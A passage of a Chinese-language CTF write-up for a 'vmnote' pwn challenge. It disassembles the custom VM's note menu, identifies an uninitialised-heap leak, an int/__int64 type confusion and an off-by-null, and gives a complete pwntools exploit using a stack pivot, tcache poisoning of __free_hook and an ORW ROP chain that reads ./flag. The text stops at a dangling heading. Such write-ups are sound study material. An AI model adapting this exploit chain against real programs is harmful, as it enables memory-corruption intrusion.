0x55555555c15f: 0x0d2d7ad7d3a1908f 0xa6e0ddbd69350e64
0x55555555c16f: 0x791e23ce57ea9beb 0x4d12e367064baa28
0x55555555c17f: 0x76226fc12c7233af 0x11d6bcc6f289ee34
0x55555555c18f: 0xa08a4a8b3abb563f 0xf9b4000c5a63536a
0x55555555c19f: 0xc7f7fdf49e24142f 0x4fca83709ff01765
0x55555555c1af: 0x1dac732a6bedf31a 0x26b2051046cde4e2
0x55555555c1bf: 0xc51bb6426ce96dad 0x9639497e0b5082de
0x55555555c1cf: 0x2968c4a4015b3b32 0x95e888b761445418
0x55555555c1df: 0xff8ea981a2f815d1 0x7b27d287988d1c80
0x55555555c1ef: 0x660acbd436759cdc 0x990f9d7cbf745245
0x55555555c1ff: 0xb1230458d793d000 0x23d0ead0d5931e58
0x55555555c20f: 0x6d2d2d2d2d005851 0x0a2d2d2d2d756e65
0x55555555c21f: 0x320a77656e202e31 0x330a776f6873202e
0x55555555c22f: 0x340a74696465202e 0x6574656c6564202e
0x55555555c23f: 0x74697865202e350a 0x3e6563696f68630a
0x55555555c24f: 0x3a7864690000203e 0x3a657a6973000020
0x55555555c25f: 0x65746e6f63000020 0x6f6e0000203a746e
0x55555555c26f: 0x6d656c706d692074 0x0000212121746e65
0x55555555c27f: 0x0000000000000000 0x0000000000000000
pwndbg>
'''
data =p64(0x6eb86077ab94b3da)+p64(0xb54c2e5fa59a5dc0)
data+=p64(0x3cc348a8e7b9ef62)+p64(0xc9d9e6db081f4316)
data+=p64(0xf603fb7d3d025c38)+p64(0xe5593013d886beb0)
data+=p64(0xb10451c2099193d0)+p64(0xcffa0720ec71d541)
data+=p64(0x5e31c87f8592cc55)+p64(0x78ba4737f5a321df)
data+=p64(0x409719252b3eaefe)+p64(0x588cf1e1a7844efc)
data+=p64(0x0d2d7ad7d3a1908f)+p64(0xa6e0ddbd69350e64)
data+=p64(0x791e23ce57ea9beb)+p64(0x4d12e367064baa28)
data+=p64(0x76226fc12c7233af)+p64(0x11d6bcc6f289ee34)
data+=p64(0xa08a4a8b3abb563f)+p64(0xf9b4000c5a63536a)
data+=p64(0xc7f7fdf49e24142f)+p64(0x4fca83709ff01765)
'''
pwndbg> x/20gx 0x00000000000070E0+0x555555554000+0x1120
0x55555555c200: 0x58b1230458d793d0 0x5123d0ead0d5931e
0x55555555c210: 0x656d2d2d2d2d0058 0x310a2d2d2d2d756e
0x55555555c220: 0x2e320a77656e202e 0x2e330a776f687320
0x55555555c230: 0x2e340a7469646520 0x0a6574656c656420
0x55555555c240: 0x0a74697865202e35 0x3e3e6563696f6863
0x55555555c250: 0x203a786469000020 0x203a657a69730000
0x55555555c260: 0x6e65746e6f630000 0x746f6e0000203a74
0x55555555c270: 0x656d656c706d6920 0x000000212121746e
0x55555555c280: 0x0000000000000000 0x0000000000000000
0x55555555c290: 0x0000000000000000 0x0000000000000000
'''
key=p64(0x58b1230458d793d0)+p64(0x5123d0ead0d5931e)+b'\x58'
pl1=b''
for i in range(0x11):
pl1+=p8(data.index(key[i:i+1]))
#pl1= b'01d_6u7_v190r0u5_'
print("pl1=",pl1)
ru("challenge ")
pl2=int(ru('\n')[:-1])
pl2+=0x12345678
pl1+=str(pl2).encode()
ru("passcode: ")
sl(pl1)
note表单分析
绕过检查后我们就进入到了后期的表单分析:
pl1= b'01d_6u7_v190r0u5_'
[DEBUG] Received 0x1e bytes:
b'challenge 135556712\n'
b'passcode: '
[DEBUG] Sent 0x1b bytes:
b'01d_6u7_v190r0u5_440976608\n'
[*] Switching to interactive mode
[DEBUG] Received 0x3f bytes:
b'----menu----\n'
b'1. new\n'
b'2. show\n'
b'3. edit\n'
b'4. delete\n'
b'5. exit\n'
b'choice>> '
----menu----
1. new
2. show
3. edit
4. delete
5. exit
choice>> $
main函数定位:
main函数还是比较好寻址的,因为只需要将记住main函数中一定会去做5个比较来确定call的地址:
0x145 push reg11
0x147 mov reg11,reg12
0x14a mov reg0,$0x1132
0x154 call 0x6a8
0x159 call 0x629
0x15e cmp reg0,$0x1
0x168 je 0x1ae
0x16d cmp reg0,$0x2
0x177 je 0x1b8
0x17c cmp reg0,$0x3
0x186 je 0x1c2
0x18b cmp reg0,$0x4
0x195 je 0x1cc
0x19a cmp reg0,$0x5
0x1a4 je 0x1d6
0x1a9 jmp 0x14a
0x1ae call 0x26a
0x1b3 jmp 0x14a
0x1b8 call 0x33d
0x1bd jmp 0x14a
0x1c2 call 0x37b
0x1c7 jmp 0x14a
0x1cc call 0x3d5
0x1d1 jmp 0x14a
0x1d6 leave
0x1d7 ret
menu打印:
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
'''
pwndbg> x/20gx 0x00000000000070E0+0x555555554000+0x1132
0x55555555c212: 0x756e656d2d2d2d2d 0x202e310a2d2d2d2d
0x55555555c222: 0x73202e320a77656e 0x65202e330a776f68
0x55555555c232: 0x64202e340a746964 0x2e350a6574656c65
0x55555555c242: 0x68630a7469786520 0x00203e3e6563696f
0x55555555c252: 0x0000203a78646900 0x0000203a657a6973
0x55555555c262: 0x3a746e65746e6f63 0x6920746f6e000020
0x55555555c272: 0x746e656d656c706d 0x0000000000212121
0x55555555c282: 0x0000000000000000 0x0000000000000000
0x55555555c292: 0x0000000000000000 0x0000000000000000
0x55555555c2a2: 0x0000000000000000 0x0000000000000000
------------------------------------------------------------------------------------------
----menu----
1. new
2. show
3. edit
4. delete
5. exit
choice>>
hex()加密
======>>>
2d 2d 2d 2d 6d 65 6e 75 2d 2d 2d 2d 0a 31 2e 20
6e 65 77 0a 32 2e 20 73 68 6f 77 0a 33 2e 20 65
64 69 74 0a 34 2e 20 64 65 6c 65 74 65 0a 35 2e
20 65 78 69 74 0a 63 68 6f 69 63 65 3e 3e 20
'''
add()函数:
add()函数接受参数创建堆块与堆管理节点:
0<=idx<=4
0<=size<=0x60
0x1ae call 0x26a
0x26a push reg11
0x26c mov reg11,reg12
0x26f sub reg12,$0x60
0x279 mov reg0,$0x1173
0x283 call 0x6a8#output("idx: ")
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x288 call 0x629#接受输入
0x629 push reg11
0x62b mov reg11,reg12
0x62e sub reg12,$0x60
0x638 mov reg0,reg12
0x63b mov reg1,$0x60
0x645 call 0x5ef
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input byte reg7
0x5f7 cmp reg7,$0xa
0x601 je 0x615
0x606 store reg7,byte mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb 0x5f5
0x615 mov reg7,$0x0
0x61f store reg7,byte mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
0x64a mov reg0,reg12
0x64d call 0x95
0x95 mov reg1,reg0
0x98 mov reg0,$0x5
0xa2 note
0xa3 ret
0x652 leave
0x653 ret
0x28d cmp reg0,$0x0#0<=idx<=4
0x297 jb 0x30d
0x29c cmp reg0,$0x4
0x2a6 ja 0x30d
0x2ab store reg0,qword mem[reg12]
0x2ae mov reg1,$0x1520
0x2b8 mul reg0,$0x8
0x2c2 add reg1,reg0
0x2c5 load reg0,qword mem[reg1]
0x2c8 test reg0,reg0
0x2cb jne 0x30d
0x2d0 mov reg0,$0x117a
0x2da call 0x6a8#output("size:")
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x2df call 0x629#接受输入
0x629 push reg11
0x62b mov reg11,reg12
0x62e sub reg12,$0x60
0x638 mov reg0,reg12
0x63b mov reg1,$0x60
0x645 call 0x5ef
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input byte reg7
0x5f7 cmp reg7,$0xa
0x601 je 0x615
0x606 store reg7,byte mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb 0x5f5
0x615 mov reg7,$0x0
0x61f store reg7,byte mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
0x64a mov reg0,reg12
0x64d call 0x95
0x95 mov reg1,reg0
0x98 mov reg0,$0x5
0xa2 note
0xa3 ret
0x652 leave
0x653 ret
0x2e4 cmp reg0,$0x0#0<=size<=0x60
0x2ee jb 0x30d
0x2f3 cmp reg0,$0x60
0x2fd ja 0x30d
0x302 mov reg1,reg0
0x305 load reg0,qword mem[reg12]
0x308 call 0x1d8
0x1d8 push reg11
0x1da mov reg11,reg12
0x1dd sub reg12,$0x60
0x1e7 store reg0,qword mem[reg12]
0x1ea mov reg2,reg12
0x1ed add reg2,$0x8
0x1f7 store reg1,qword mem[reg2]
0x1fa mov reg0,reg1
0x1fd call 0x77#malloc(size)
0x77 mov reg1,reg0
0x7a mov reg0,$0x3
0x84 note
0x85 ret
0x202 test reg0,reg0
0x205 je 0x30d
0x20a mov reg2,reg12
0x20d add reg2,$0x10
0x217 store reg0,qword mem[reg2]
0x21a load reg2,qword mem[reg12]
0x21d mov reg1,$0x1520
0x227 mul reg2,$0x8
0x231 add reg1,reg2
0x234 store reg0,qword mem[reg1]
0x237 mov reg0,$0x1182
0x241 call 0x6a8#output("content: ")
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x246 mov reg2,reg12
0x249 add reg2,$0x8
0x253 load reg1,qword mem[reg2]
0x256 add reg2,$0x8
0x260 load reg0,qword mem[reg2]
0x263 call 0xa4#input(content)
0xa4 mov reg2,reg1
0xa7 mov reg1,reg0
0xaa mov reg0,$0x6
0xb4 note
0xb5 ret
0x268 leave
0x269 ret
0x30d leave
0x30e ret
0x1b3 jmp 0x14a
show()函数:
show()函数依据输入的参数来决定输出内容
0x1b8 call 0x33d
0x33d push reg11
0x33f mov reg11,reg12
0x342 mov reg0,$0x1173#output("idx: ")
0x34c call 0x6a8
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x351 call 0x629#接受输入
0x629 push reg11
0x62b mov reg11,reg12
0x62e sub reg12,$0x60
0x638 mov reg0,reg12
0x63b mov reg1,$0x60
0x645 call 0x5ef
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input byte reg7
0x5f7 cmp reg7,$0xa
0x601 je 0x615
0x606 store reg7,byte mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb 0x5f5
0x615 mov reg7,$0x0
0x61f store reg7,byte mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
0x64a mov reg0,reg12
0x64d call 0x95
0x95 mov reg1,reg0
0x98 mov reg0,$0x5
0xa2 note
0xa3 ret
0x652 leave
0x653 ret
0x356 cmp reg0,$0x0
0x360 jb 0x379
0x365 cmp reg0,$0x4
0x36f ja 0x379
0x374 call 0x30f
0x30f push reg11
0x311 mov reg11,reg12
0x314 mov reg1,$0x1520
0x31e mul reg0,$0x8
0x328 add reg1,reg0
0x32b load reg0,qword mem[reg1]
0x32e test reg0,reg0
0x331 je 0x33b
0x336 call 0xb6
0xb6 mov reg1,reg0
0xb9 mov reg0,$0x7
0xc3 note
0xc4 ret
0x33b leave
0x33c ret
0x379 leave
0x37a ret
0x1bd jmp 0x14a
edit()函数:
没有实现edit()函数的功能。。。。。
0x1c2 call 0x37b
0x37b push reg11
0x37d mov reg11,reg12
0x380 mov reg0,$0x118d
0x38a call 0x696
0x696 call 0x6a8#output("not implement!!!")
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x38f leave
0x390 ret
0x1c7 jmp 0x14a
dele()函数:
根据idx来删除对应的note。
0x1cc call 0x3d5
0x3d5 push reg11
0x3d7 mov reg11,reg12
0x3da mov reg0,$0x1173
0x3e4 call 0x6a8#output("idx: ")
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x3e9 call 0x629
0x629 push reg11
0x62b mov reg11,reg12
0x62e sub reg12,$0x60
0x638 mov reg0,reg12
0x63b mov reg1,$0x60
0x645 call 0x5ef
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input byte reg7
0x5f7 cmp reg7,$0xa
0x601 je 0x615
0x606 store reg7,byte mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb 0x5f5
0x615 mov reg7,$0x0
0x61f store reg7,byte mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
0x64a mov reg0,reg12
0x64d call 0x95
0x95 mov reg1,reg0
0x98 mov reg0,$0x5
0xa2 note
0xa3 ret
0x652 leave
0x653 ret
0x3ee cmp reg0,$0x0
0x3f8 jb 0x411
0x3fd cmp reg0,$0x4
0x407 ja 0x411
0x40c call 0x391
0x391 push reg11
0x393 mov reg11,reg12
0x396 sub reg12,$0x40
0x3a0 mov reg1,$0x1520
0x3aa mul reg0,$0x8
0x3b4 add reg1,reg0
0x3b7 store reg1,qword mem[reg12]
0x3ba load reg0,qword mem[reg1]
0x3bd test reg0,reg0
0x3c0 je 0x3d3
0x3c5 call 0x86
0x86 mov reg1,reg0
0x89 mov reg0,$0x4
0x93 note
0x94 ret
0x3ca load reg1,qword mem[reg12]
0x3cd xor reg0,reg0
0x3d0 store reg0,qword mem[reg1]
0x3d3 leave
0x3d4 ret
0x411 leave
0x412 ret
0x1d1 jmp 0x14a
漏洞分析:
add()的过程没有对堆块实现清零操作,所以我们可以借助show()函数将堆块上面残留的地址给泄露出来
vm解释器中的note模块中存在类型转化的漏洞:len的类型是__int64,但是再调用find_and_checksec函数的时候将其解释为int类型的类型,存在一个类型混淆的漏洞
void note()
{
int v0; // [rsp+Ch] [rbp-14h]
unsigned __int64 bufb; // [rsp+10h] [rbp-10h]
char *buf; // [rsp+10h] [rbp-10h]
const char *seed_copy; // [rsp+10h] [rbp-10h]
__int64 length; // [rsp+18h] [rbp-8h]
int length_seed; // [rsp+18h] [rbp-8h]
switch ( LODWORD(reg[0]) )
{
......
case 6:
buf = (char *)seed;
length = len[0];
if ( len[0] > 0 && find_and_checksec((__int64)seed, len[0]) )
{
v0 = read(0, buf, length);
if ( v0 > 0 && buf[v0 - 1] == '\n' )
buf[v0 - 1] = 0;
}
break;
......
}
}
_BOOL8 __fastcall find_and_checksec(__int64 seed, int length)
{
_QWORD *addr; // [rsp+18h] [rbp-8h]
addr = strstr(seed);
return addr && length <= *((_DWORD *)addr + 2);
}
note.bin中的0x629函数存在漏洞(这个感觉只看汇编是真不好看出来):
注意看其汇编代码:
其先给函数的接受空间预留了0x60的大小的空间:sub reg12,$0x60
但是如果结尾为“\n”时会跳过检查读入个数的检查,直接将栈上 的第0x60个数据强制转化为\x00,也就是说它存在一个off_by_null的漏洞。
0x629 push reg11
0x62b mov reg11,reg12
0x62e sub reg12,$0x60
0x638 mov reg0,reg12
0x63b mov reg1,$0x60
0x645 call 0x5ef
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input byte reg7
0x5f7 cmp reg7,$0xa
0x601 je 0x615
0x606 store reg7,byte mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb 0x5f5
0x615 mov reg7,$0x0
0x61f store reg7,byte mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
0x64a mov reg0,reg12
0x64d call 0x95
0x95 mov reg1,reg0
0x98 mov reg0,$0x5
0xa2 note
0xa3 ret
0x652 leave
0x653 ret
漏洞利用:
1.泄露地址:
#获得libc_base
add(0,0x60,'\x11')
show(0)
lb=uu64(ru("\x7f")[-6:])-0x1ebb11
print("libc_base=",hex(lb))
#获取heap_base
add(1,0x60,'\x11')
add(2,0x60,'\x11')
dele(1)
dele(2)
add(2,0x60,'\x11')
add(1,0x60,'\x11')
show(2)
ru("content: ")
hb=uu64(rc(6))-0x511
print("heap_base=",hex(hb))
2.控制执行流:
首先劫持vm程序的控制流,通过构造note(6)的输入数据,造成堆溢出。观察note(6)发现需要传入reg0和reg1。前者表示输入的地址,后者表示输入的长度。
为了控制reg0和reg1需要寻找gadget。结合我们能够控制栈上面的内容,我们选择如下gadget:
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
利用实现:
1.先构造payload控制栈执行流:将rbp覆盖后,结合输入选项5来触发即可达到栈迁移的效果
#控制程序执行流,栈迁移
heap_addr=hb+0x480
length=(1<<32)+0x10
pay=p64(0x6ca)+p64(heap_addr)+p64(length)+p64(0xa4)+p64(0x14a)
payload=p64(6)+pay*2
payload=payload.ljust(0x60,b'\x00')
2.准备修改tcache_bin的fd指针到free_hook,,同时往堆块上面写ORW的内容:
#修改fd指针,同时准备orw
context=lb+libc.sym['setcontext']+61
print("context=",hex(context))
rdi=lb+0x0000000000026b72
rsi=lb+0x0000000000027529
rsi_r15=lb+0x0000000000026b70
rdx_r12=lb+0x000000000011c371
rdx_rcx_rbx=lb+0x00000000001056fd
rax=lb+0x000000000004a550
syscall=lb+0x000000000111140
mvrsp=lb+0x000000000005e650
open = libc.sym['open']+lb
read = libc.sym['read']+lb
write = libc.sym['write']+lb
print("rdi=",hex(rdi))
print("mvrsp",hex(mvrsp))
print("__free_hook",hex(lb+libc.sym["__free_hook"]))
# 0x0000000000154930: mov rdx, qword ptr[rdi + 8];
# mov qword ptr[rsp], rax;
# call qword ptr[rdx + 0x20]
orw=b'./flag\x00\x00'+p64(hb+0x480+0x10)
orw+=p64(rdi)+p64(hb+0x480)+p64(rdx_r12)+p64(0)
orw+=p64(mvrsp)+p64(rsi_r15)
orw+=p64(0)+p64(0)
orw+=p64(rax)+p64(2)+p64(lb+0x0000000000026b6b)
orw+=p64(0x21)+p64(hb+0x480)+p64(0x0000020000000060)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(hb+0x480)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(read)
orw+=p64(rdi)+p64(1)+p64(write)
orw+=p64(0)*2+p64(0x21)+p64(0)+p64(hb+0x10)+p64(hb+0x610)
orw+=p64(0x71)
fake_fd=lb+libc.sym["__free_hook"]
pl3=orw+p64(fake_fd)
完整exp:
from pwn import *
from pwncli import *
from pwn_std import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
# elf = ELF("./vuln")
libc = ELF("./libc.so.6")
elf=ctypes.CDLL('./libc.so.6')
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
gdb -ex set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/ ./pwn
gdb -ex "add-symbol-file /home/mazhatter/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/lib/x86_64-linux-gnu/libc-2.27.so" ./pwn
'''
def add(idx, size,con):
sla('choice>> ', '1')
sla("idx: ", str(idx))
sla("size: ", str(size).encode())
sa("content: ", con)
def show(idx):
sla('choice>> ', '2')
sla("idx: ", str(idx))
def dele(idx):
sla('choice>> ', '4')
sla("idx: ", str(idx))
def attack():
data =p64(0x6eb86077ab94b3da)+p64(0xb54c2e5fa59a5dc0)
data+=p64(0x3cc348a8e7b9ef62)+p64(0xc9d9e6db081f4316)
data+=p64(0xf603fb7d3d025c38)+p64(0xe5593013d886beb0)
data+=p64(0xb10451c2099193d0)+p64(0xcffa0720ec71d541)
data+=p64(0x5e31c87f8592cc55)+p64(0x78ba4737f5a321df)
data+=p64(0x409719252b3eaefe)+p64(0x588cf1e1a7844efc)
data+=p64(0x0d2d7ad7d3a1908f)+p64(0xa6e0ddbd69350e64)
data+=p64(0x791e23ce57ea9beb)+p64(0x4d12e367064baa28)
data+=p64(0x76226fc12c7233af)+p64(0x11d6bcc6f289ee34)
data+=p64(0xa08a4a8b3abb563f)+p64(0xf9b4000c5a63536a)
data+=p64(0xc7f7fdf49e24142f)+p64(0x4fca83709ff01765)
elf.srand(elf.time(0))
vm_sp = (0x2000 - ((elf.rand() % 511) & 0x1F8))
vm_sp_copy=vm_sp&0xff
print("rand=",hex(vm_sp))
if vm_sp_copy==0x88:
key=p64(0x58b1230458d793d0)+p64(0x5123d0ead0d5931e)+b'\x58'
pl1=b''
for i in range(0x11):
pl1+=p8(data.index(key[i:i+1]))
#pl1= b'01d_6u7_v190r0u5_'
print("pl1=",pl1)
ru("challenge ")
pl2=int(ru('\n')[:-1])
pl2+=0x12345678
pl1+=str(pl2).encode()
ru("passcode: ")
sl(pl1)
#获得libc_base
add(0,0x60,'\x11')
show(0)
lb=uu64(ru("\x7f")[-6:])-0x1ebb11
print("libc_base=",hex(lb))
#获取heap_base
add(1,0x60,'\x11')
add(2,0x60,'\x11')
dele(1)
dele(2)
add(2,0x60,'\x11')
add(1,0x60,'\x11')
show(2)
ru("content: ")
hb=uu64(rc(6))-0x511
print("heap_base=",hex(hb))
dele(1)
dele(2)
#控制程序执行流,栈迁移
heap_addr=hb+0x480
length=(1<<32)+0x10
pay=p64(0x6ca)+p64(heap_addr)+p64(length)+p64(0xa4)+p64(0x14a)
payload=p64(6)+pay*2
payload=payload.ljust(0x60,b'\x00')
sla('choice>> ', payload)
#修改fd指针,同时准备orw
context=lb+libc.sym['setcontext']+61
print("context=",hex(context))
rdi=lb+0x0000000000026b72
rsi=lb+0x0000000000027529
rsi_r15=lb+0x0000000000026b70
rdx_r12=lb+0x000000000011c371
rdx_rcx_rbx=lb+0x00000000001056fd
rax=lb+0x000000000004a550
syscall=lb+0x000000000111140
mvrsp=lb+0x000000000005e650
open = libc.sym['open']+lb
read = libc.sym['read']+lb
write = libc.sym['write']+lb
print("rdi=",hex(rdi))
print("mvrsp",hex(mvrsp))
print("__free_hook",hex(lb+libc.sym["__free_hook"]))
# 0x0000000000154930: mov rdx, qword ptr[rdi + 8];
# mov qword ptr[rsp], rax;
# call qword ptr[rdx + 0x20]
orw=b'./flag\x00\x00'+p64(hb+0x480+0x10)
orw+=p64(rdi)+p64(hb+0x480)+p64(rdx_r12)+p64(0)
orw+=p64(mvrsp)+p64(rsi_r15)
orw+=p64(0)+p64(0)
orw+=p64(rax)+p64(2)+p64(lb+0x0000000000026b6b)
orw+=p64(0x21)+p64(hb+0x480)+p64(0x0000020000000060)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(hb+0x480)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(read)
orw+=p64(rdi)+p64(1)+p64(write)
orw+=p64(0)*2+p64(0x21)+p64(0)+p64(hb+0x10)+p64(hb+0x610)
orw+=p64(0x71)
fake_fd=lb+libc.sym["__free_hook"]
pl3=orw+p64(fake_fd)
sla('choice>> ','5')
sla('choice>> ',pl3)
sla('choice>> ','6')
sleep(0.5)
add(1,0x60,'\x11')
add(2,0x60,p64(0x0000000000154930+lb))
# gdbbug()
dele(0)
# gdbbug()
ita()
else:
print("rand!=0x1e60")
p.close()
while(True):
p = getProcess("10.81.2.238", "10062", "./vmnote")
attack()
效果;